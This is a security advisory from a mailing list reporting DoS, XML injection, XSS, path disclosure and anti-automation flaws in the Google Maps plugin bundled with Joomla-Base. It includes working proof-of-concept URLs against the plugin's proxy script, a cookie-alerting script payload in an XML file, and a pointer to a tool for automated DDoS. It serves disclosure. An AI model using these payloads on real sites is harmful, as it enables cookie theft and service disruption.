Joomla-Base XSS / XML Injection / Denial Of Service

`Hello list!  
  
These are Denial of Service, XML Injection, Cross-Site Scripting, Full path   
disclosure and Insufficient Anti-automation vulnerabilities in Joomla-Base.   
This is package of Joomla with different plugins (with their   
vulnerabilities).  
  
These vulnerabilities are in Google Maps plugin for Joomla, which is used in   
this package. In 2013-2014 I wrote advisories about multiple vulnerabilities   
in Google Maps plugin (http://securityvulns.ru/docs29645.html,   
http://securityvulns.ru/docs29670.html and   
http://seclists.org/fulldisclosure/2014/Feb/53).  
  
-------------------------  
Affected products:  
-------------------------  
  
Vulnerable are all versions of Joomla-Base, which includes this plugin.  
  
After my informing, the developer removed this plugin from his package   
(https://github.com/pabloarias/Joomla-Base/issues/1).

Denial of Service (WASC-10):  
  
http://site/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=google.com  
  
Besides conducting DoS attack manually, it's also possible to conduct   
automated DoS and DDoS attacks with using of DAVOSET   
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2013-June/008850.html).  
  
XML Injection (WASC-23):  
  
http://site/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=site2/xml.xml  
  
It's possible to include external xml-files. Which also can be used for XSS   
attack:  
  
XSS via XML Injection (WASC-23):  
  
http://site/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=site2/xss.xml  
  
File xss.xml:  
  
<?xml version="1.0" encoding="utf-8"?>  
<feed>  
<title>XSS</title>  
<entry>  
<div   
xmlns="http://www.w3.org/1999/xhtml"><script>alert(document.cookie)</script></div>  
</entry>  
</feed>  
  
Cross-Site Scripting (WASC-08):  
  
http://site/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url=%3Cbody%20onload=alert(document.cookie)%3E  
  
Full path disclosure (WASC-13):  
  
http://site/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php  
  
This is possible with corresponding PHP settings, when warnings are shown.  
  
Insufficient Anti-automation (WASC-21):  
  
In this functionality there is no reliable protection from automated   
requests.  
  
Also in my third advisory concerning Google Maps plugin, I wrote about   
security bypass for built-in domain restriction functionality and described   
method of bypass protection against automated requests introduced in version   
3.2. So even the latest version is vulnerable to IAA.
